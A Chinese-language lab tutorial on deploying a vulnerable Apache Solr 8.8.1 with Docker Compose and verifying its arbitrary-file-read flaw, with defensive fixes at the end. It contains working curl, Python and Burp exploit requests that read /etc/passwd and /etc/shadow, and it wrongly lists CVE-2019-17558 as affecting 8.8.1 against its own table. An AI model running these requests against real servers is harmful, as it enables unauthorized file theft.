Apache Solr 8.8.1 漏洞环境:Docker Compose 一键部署与3种漏洞验证方法 📅 2026/7/9 9:04:11 Apache Solr 8.8.1 漏洞环境Docker Compose 一键部署与3种漏洞验证方法1. 漏洞背景与核心概念Apache Solr作为企业级搜索平台其8.8.1版本存在两个关键安全缺陷CNVD-2021-30146任意文件读取和CVE-2019-17558Velocity模板注入。这两个漏洞在渗透测试领域具有典型研究价值CNVD-2021-30146通过操纵requestDispatcher.requestParsers.enableRemoteStreaming参数攻击者可读取服务器任意文件CVE-2019-17558利用Velocity响应模板未授权访问漏洞实现远程代码执行典型攻击链通常始于文件读取获取配置信息进而通过模板注入升级为RCE。以下为漏洞影响面对比漏洞编号风险等级影响范围利用复杂度CNVD-2021-30146高危Solr ≤ 8.8.1低CVE-2019-17558严重Solr 5.0.0-8.3.1中2. Docker Compose 靶场部署2.1 环境准备确保宿主机已安装Docker Engine ≥ 20.10.14Docker Compose ≥ 2.5.12GB可用内存# 验证环境 docker --version docker-compose --version2.2 一键部署方案创建docker-compose.yml文件version: 3 services: solr: image: solr:8.8.1 ports: - 8983:8983 volumes: - ./solr-data:/var/solr environment: - SOLR_HEAP512m command: - solr-precreate - demo启动命令docker-compose up -d注意首次启动约需3分钟完成核心初始化可通过docker logs -f [容器ID]观察进度2.3 常见问题排查故障现象解决方案端口8983冲突修改ports为8993:8983容器反复重启检查solr-data目录权限设为777内存不足导致OOM调整SOLR_HEAP为256m核心创建失败删除solr-data目录后重新部署3. 漏洞验证方法3.1 cURL方式验证文件读取分步操作启用远程流处理curl -X POST -H Content-Type: application/json -d { set-property:{ requestDispatcher.requestParsers.enableRemoteStreaming:true } } http://localhost:8983/solr/demo/config读取系统文件curl -X POST -d stream.urlfile:///etc/passwd \ -H Content-Type: application/x-www-form-urlencoded \ http://localhost:8983/solr/demo/debug/dump?paramContentStreams典型响应str namestream.urlfile:///etc/passwd/str str namecontentTypeapplication/x-www-form-urlencoded/str str namestreamSize.../str3.2 Python自动化验证脚本import requests TARGET http://localhost:8983 CORE_NAME demo def exploit_file_read(filename): # 开启远程流 requests.post( f{TARGET}/solr/{CORE_NAME}/config, json{set-property: {requestDispatcher.requestParsers.enableRemoteStreaming: True}}, headers{Content-Type: application/json} ) # 读取文件 resp requests.post( f{TARGET}/solr/{CORE_NAME}/debug/dump?paramContentStreams, datafstream.urlfile://{filename}, headers{Content-Type: application/x-www-form-urlencoded} ) return resp.text if __name__ __main__: print(exploit_file_read(/etc/passwd))提示该脚本可扩展为批量文件检测工具通过修改filename参数遍历敏感文件3.3 Burp Suite手动验证配置代理浏览器设置代理为127.0.0.1:8080Burp确保Intercept is on状态发送配置修改请求POST /solr/demo/config HTTP/1.1 Host: localhost:8983 Content-Type: application/json { set-property:{ requestDispatcher.requestParsers.enableRemoteStreaming:true } }构造文件读取请求POST /solr/demo/debug/dump?paramContentStreams HTTP/1.1 Host: localhost:8983 Content-Type: application/x-www-form-urlencoded stream.urlfile:///etc/shadow关键验证点响应中查看streamSize字段确认文件存在状态码200且返回文件内容即为漏洞存在4. 防御与修复方案4.1 临时缓解措施!-- 修改solrconfig.xml -- requestDispatcher requestParsers enableRemoteStreamingfalse / /requestDispatcher4.2 终极解决方案升级路径建议Solr 8.x 用户升级至 ≥ 8.11.2启用认证机制bin/solr auth enable -type basicAuth -credentials user:pass4.3 安全监控策略推荐监控以下异常行为频繁的/config端点POST请求非常规文件路径访问模式异常的Velocity模板渲染请求在测试环境中验证漏洞时建议使用非生产数据并限制网络访问。实际渗透测试前务必获取书面授权避免法律风险